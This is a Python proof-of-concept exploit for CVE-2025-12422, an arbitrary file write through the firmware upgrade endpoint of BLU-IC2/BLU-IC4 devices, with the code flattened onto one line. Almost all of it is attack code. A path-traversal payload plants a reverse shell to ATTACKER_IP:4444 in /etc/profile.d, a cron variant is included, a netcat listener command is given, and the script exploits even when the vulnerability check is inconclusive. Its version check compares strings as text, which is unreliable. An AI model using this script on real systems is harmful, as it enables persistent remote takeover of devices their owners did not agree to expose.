CVE-2025-12422

# CVE-2025-12422 PoC - BLU-IC2/BLU-IC4 Arbitrary File Write via Upgrade Feature # This PoC demonstrates the arbitrary file write vulnerability in BLU-IC2/BLU-IC4 upgrade mechanism import requests import json import sys TARGET_HOST = "http://target-device-ip" # Replace with target device IP CVE_ID = "CVE-2025-12422" def exploit_arbitrary_file_write(): """ Exploit the vulnerable upgrade feature to write arbitrary files This PoC writes a reverse shell script to /etc/profile.d/ for persistence """ # Malicious firmware payload with path traversal # Writing to /etc/profile.d/ to execute reverse shell on login malicious_payload = { "firmware_version": "1.19.5", "file_content": "#!/bin/sh\n# Injected by CVE-2025-12422\n/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", "target_path": "../../../../etc/profile.d/revshell.sh" # Path traversal } # Alternative: Write to crontab for persistence cron_payload = { "firmware_version": "1.19.5", "file_content": "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'", "target_path": "../../../../etc/cron.d/malicious_cron" } print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") # Step 1: Trigger upgrade feature with malicious payload upgrade_url = f"{TARGET_HOST}/api/upgrade" try: print("[*] Sending malicious upgrade request...") response = requests.post( upgrade_url, files={'firmware': json.dumps(malicious_payload)}, timeout=10 ) if response.status_code == 200: print("[+] Malicious file written successfully!") print("[*] Waiting for device restart or next login...") print("[*] Set up listener: nc -lvnp 4444") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """Check if target is vulnerable""" print(f"[*] Checking vulnerability for {CVE_ID}") # Check device info endpoint info_url = f"{TARGET_HOST}/api/device/info" try: response = requests.get(info_url, timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') model = data.get('model', 'unknown') print(f"[*] Device: {model}, Version: {version}") # Check if version is affected (version <= 1.19.5) if version <= '1.19.5' and model in ['BLU-IC2', 'BLU-IC4']: print("[+] Device is VULNERABLE!") return True else: print("[-] Device may not be vulnerable") return False except: print("[-] Could not determine vulnerability status") return None if __name__ == "__main__": print(f"={'='*60}") print(f"PoC for {CVE_ID}") print(f"BLU-IC2/BLU-IC4 - Arbitrary File Write via Upgrade Feature") print(f"={'='*60}\n") # First check if vulnerable is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Proceeding with exploitation...") exploit_arbitrary_file_write() elif is_vulnerable is None: print("\n[*] Proceeding with exploitation anyway...") exploit_arbitrary_file_write()

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